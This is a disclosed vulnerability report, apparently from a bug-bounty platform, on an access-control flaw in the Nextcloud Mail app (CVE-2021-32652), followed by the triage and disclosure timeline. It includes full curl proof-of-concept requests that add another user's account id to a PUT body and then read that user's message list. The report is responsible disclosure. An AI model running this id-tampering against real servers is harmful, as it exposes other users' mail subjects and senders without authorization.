

12

Take over a mail account due missing validation of account id

Share:     

TIMELINE



kesselb submitted a report to Nextcloud.

Feb 3rd (2 years ago)

A validation is missing to make sure the account id belongs to the logged in user.

To reproduce:

1. Login as user
2. Add a mail account to mail
3. Go to account settings
4. Update the account again

See a request like below:

```
curl 'http://localhost:50001/index.php/apps/mail/api/accounts/%7Bid%7D' \
-X 'PUT' \
-H 'Connection: keep-alive' \
-H 'Pragma: no-cache' \
-H 'Cache-Control: no-cache' \
-H 'Accept: application/json, text/plain, /' \
-H 'requesttoken: qsnlh1ctCuo7T2KZ6F/8mxlXHxVpsBvvzPJRqvU+88M=:kqXVxiFjcJJWPjPzvRyO+WNGUB4N1k+ZlaAC2JBtnY0=' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36' \
-H 'Content-Type: application/json;charset=UTF-8' \
-H 'Origin: http://localhost:50001' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Dest: empty' \
-H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' \
-H 'Cookie:
oc_sessionPassphrase=%2Fsi20cgXowTcmrwZL5Ur%2FUfYByHCAyhwo0Z%2B8V%2Bk2yL9nZpqlzfKOMcxVabLYE7dfTrV1hR7%2Fsnu83fG3GZdiJ5DjHLKD79Xa
H91L4G%2FNNID9SbBq%2FMWOllrYLgqCVnj; nc_sameSiteCookieIax=true; nc_sameSiteCookiestrict=true; oc64oi0n8x29=c32fab57ad6d8cbe8e4d8e118f54759a;
nc_username=bob; nc_token=HQlkh1JxcSadkeAI8HzBM0ewQDulfk%2BU; nc_session_id=c32fab57ad6d8cbe8e4d8e118f54759a' \
--data-raw
{'autoDetect':false,'accountName':'bob','emailAddress':'bob@localhost.test','imapHost':'imap','imapPort':993,'imapSslMode':'ssl','imapUser':'user@domain.
tld','imapPassword':'mypassword','smtpHost':'imap','smtpPort':25,'smtpSslMode':'tls','smtpUser':'user@domain.tld','smtpPassword':'mypassword'}
```

Take the request and append id to body. id is the account id of another account.

```
curl 'http://localhost:50001/index.php/apps/mail/api/accounts/%7Bid%7D' \
-X 'PUT' \
-H 'Connection: keep-alive' \
-H 'Pragma: no-cache' \
-H 'Cache-Control: no-cache' \
-H 'Accept: application/json, text/plain, /' \
-H 'requesttoken: qsnlh1ctCuo7T2KZ6F/8mxlXHxVpsBvvzPJRqvU+88M=:kqXVxiFjcJJWPjPzvRyO+WNGUB4N1k+ZlaAC2JBtnY0=' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36' \
-H 'Content-Type: application/json;charset=UTF-8' \
-H 'Origin: http://localhost:50001' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Dest: empty' \
-H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' \
-H 'Cookie:
oc_sessionPassphrase=%2Fsi20cgXowTcmrwZL5Ur%2FUfYByHCAyhwo0Z%2B8V%2Bk2yL9nZpqlzfKOMcxVabLYE7dfTrV1hR7%2Fsnu83fG3GZdiJ5DjHLKD79Xa
H91L4G%2FNNID9SbBq%2FMWOllrYLgqCVnj; nc_sameSiteCookieIax=true; nc_sameSiteCookiestrict=true; oc64oi0n8x29=c32fab57ad6d8cbe8e4d8e118f54759a;
nc_username=bob; nc_token=HQlkh1JxcSadkeAI8HzBM0ewQDulfk%2BU; nc_session_id=c32fab57ad6d8cbe8e4d8e118f54759a' \
--data-raw
{'autoDetect':false,'accountName':'bob','emailAddress':'bob@localhost.test','imapHost':'imap','imapPort':993,'imapSslMode':'ssl','imapUser':'user@domain.
tld','imapPassword':'mypassword','smtpHost':'imap','smtpPort':25,'smtpSslMode':'tls','smtpUser':'user@domain.tld','smtpPassword':'mypassword','id':1}
```

The next request to

```
curl 'http://localhost:50001/index.php/apps/mail/api/messages?mailboxId=35&filter=is:pi-other&limit=20' \
-H 'Connection: keep-alive' \
-H 'Pragma: no-cache' \
-H 'Cache-Control: no-cache' \
-H 'Accept: application/json, text/plain, /' \
-H 'requesttoken: 8q7mksjCgQLYbuJqlohYZg6zv8OckERjy7v4SEW7G9w=:ysLW076M+3q1H7MAad8sqBH/i8qjm9hAVkumrOiDodZI=' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Dest: empty' \
-H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' \
-H 'Cookie:
```


--compressed

returns a list of messages like in the screenshot.

Impact

Subject, sender and meta information about some mails are leaked.


1 attachment:
F182516: Screenshot_from_2021-02-03_18-17-13.png

OT: posted a comment.

Feb 3rd (2 years ago)

Thanks a lot for reporting this potential issue back to us!

Our security team will take a look at this issue as soon as possible. We will reply to your report within 72 hours, usually much faster. For obvious reasons we'd like to ask you to not disclose this issue to any other party.

lukasreschkenc changed the status to Triaged.

Feb 3rd (2 years ago)

Nice catch, @kesselb :)

extcloud has decided that this report is not eligible for a bounty.

Feb 9th (2 years ago)

As an internal finding this issue does not qualify for a bounty.

lukasreschkenc closed the report and changed the status to Resolved.

May 11th (2 years ago)

lukasreschkenc updated CVE reference to [CVE-2021-32652](#).

Jun 1st (2 years ago)

lukasreschkenc requested to disclose this report.

Jun 1st (2 years ago)

kesselb agreed to disclose this report.

Jun 1st (2 years ago)

This report has been disclosed.

Jun 1st (2 years ago)